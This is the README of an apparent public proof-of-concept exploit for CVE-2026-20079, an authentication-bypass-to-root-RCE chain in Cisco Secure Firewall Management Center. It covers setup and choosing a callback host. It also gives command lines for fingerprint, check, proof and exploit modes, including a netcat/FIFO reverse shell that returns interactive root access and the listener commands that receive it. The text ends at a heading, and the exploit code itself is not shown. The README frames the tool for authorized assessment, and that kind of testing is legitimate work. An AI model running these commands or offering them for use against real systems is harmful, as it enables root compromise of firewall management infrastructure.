CVE-2026-20079 Cisco Secure FMC PoC

Python proof of concept for the publicly documented Cisco Secure Firewall Management Center authentication-bypass-to-root-RCE chain in CVE-2026-20079.

This is not a new vulnerability or independently developed exploit chain. It is a clean-room implementation of the request sequence published by VulnCheck, with separate fingerprint, staged check, one-shot proof, and interactive exploit modes.

Quick setup

Python 3.10 or later is required. On Linux or macOS:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

Replace the example addresses

All 192.0.2.x values below are reserved documentation addresses. They are placeholders, not discovered target information, and must be replaced with values from the authorized assessment. The commands are not expected to work unchanged.

Example	Meaning	What to use instead
https://192.0.2.10	Target FMC URL	The exact authorized FMC scheme, address, and port
192.0.2.20	Address where the FMC connects back	The IP address or DNS name of the operator's listener as reachable from the FMC
192.0.2.0/24	Example fingerprint CIDR	An explicitly authorized network range
4444	Callback/listener TCP port	An approved reachable port on the callback system
0.0.0.0	Where the listener binds on the operator system	Keep it to listen on all local interfaces, or use one local interface address
192.0.2.10 in --expected-callback-source	Expected source of the callback	The FMC source address as observed by the listener; omit this option when NAT makes it uncertain
http://127.0.0.1:8080	Optional local intercepting proxy	The proxy URL actually listening on the operator system

Choosing --callback-host

Use this rule: from the FMC's point of view, which address reaches the operator's listener? That address is --callback-host.

Network path	Typical --callback-host value
Operator and FMC are on the same routed network	The operator system's reachable eth0, en0, or other LAN address
Operator reaches the FMC through a VPN	The reachable VPN interface address, such as tun0 or utun, when the FMC has a route to it
Operator is behind NAT or a firewall	The public IP or DNS name whose selected port is forwarded to the operator system
A callback tunnel or VPS is used	The reachable tunnel endpoint or VPS address

Do not use 127.0.0.1 or 0.0.0.0 for --callback-host. 127.0.0.1 would refer to the FMC itself, while 0.0.0.0 is a listener bind value, not a destination. Ensure routing, firewall rules, and any port forwarding allow the FMC to reach --callback-host on --callback-port.

--listen-host is local-only: it selects the interface on which the integrated listener waits. Its default, 0.0.0.0, listens on every local interface. It does not tell the FMC where to connect. Therefore, --callback-host and --listen-host may be different, especially across NAT.

Worked example: operator and FMC on the same network

Assume this fictional, documentation-only lab:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

The values map to the command as follows:

• --target https://192.0.2.10 identifies the FMC being assessed.
• --callback-host 192.0.2.20 is the operator system's eth0 address because the FMC can route directly to it.
• --callback-port 4444 is the approved TCP port used by the callback.
• --listen-host 0.0.0.0 makes the integrated listener accept the callback on any local interface, including eth0.

A one-shot proof command for that example would be:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

The flow is: the operator sends HTTPS requests to 192.0.2.10, then the FMC connects back to the operator's 192.0.2.20:4444. In a real assessment, replace both IP addresses and confirm the return route before running the command. If the FMC cannot reach the operator's eth0 address, use the reachable VPN, NAT, tunnel, or VPS address described above instead.

Modes and quick command reference

Mode	Network or target effect	Evidence or result
--fingerprint	GET requests only	A possible FMC web surface; not vulnerability confirmation
--check	At most two GET requests; no session upgrade	The known bypass response pattern fully or partially matched
--check --intrusive	Upgrades server-side session state	Authentication bypass and access to an action token
--proof	Writes and runs a bounded callback payload	Root execution plus cleanup, without an interactive shell
--exploit	Writes and runs a FIFO/netcat payload	An interactive root callback, or bounded verification with --auto-verify

Set the three example values once, replacing each with the authorized target, operator callback address, and port:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

Then choose exactly one mode:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] Fingerprinting is a heuristic product-identification step, not a vulnerability check. MATCH and LIKELY do not prove that the target is affected or exploitable, and NO_MATCH does not rule out FMC. Reverse proxies, customized login pages, access controls, network failures, or product changes can affect the result.

Fingerprinting sends network requests but does not run the authentication bypass or RCE chain. The default check sends the special session cookie to a protected information endpoint, but does not submit credentials or upgrade the session. Read the classification details, mode descriptions, and session-state warning below before using any validation mode.

[!WARNING] Do not run --check, --proof, or --exploit without explicit written authorization. Authorization for --check --intrusive, proof, and exploit modes must cover their target changes and proof method. Read the prerequisite, session-state limitation, and callback requirements first.

How the exploit chain works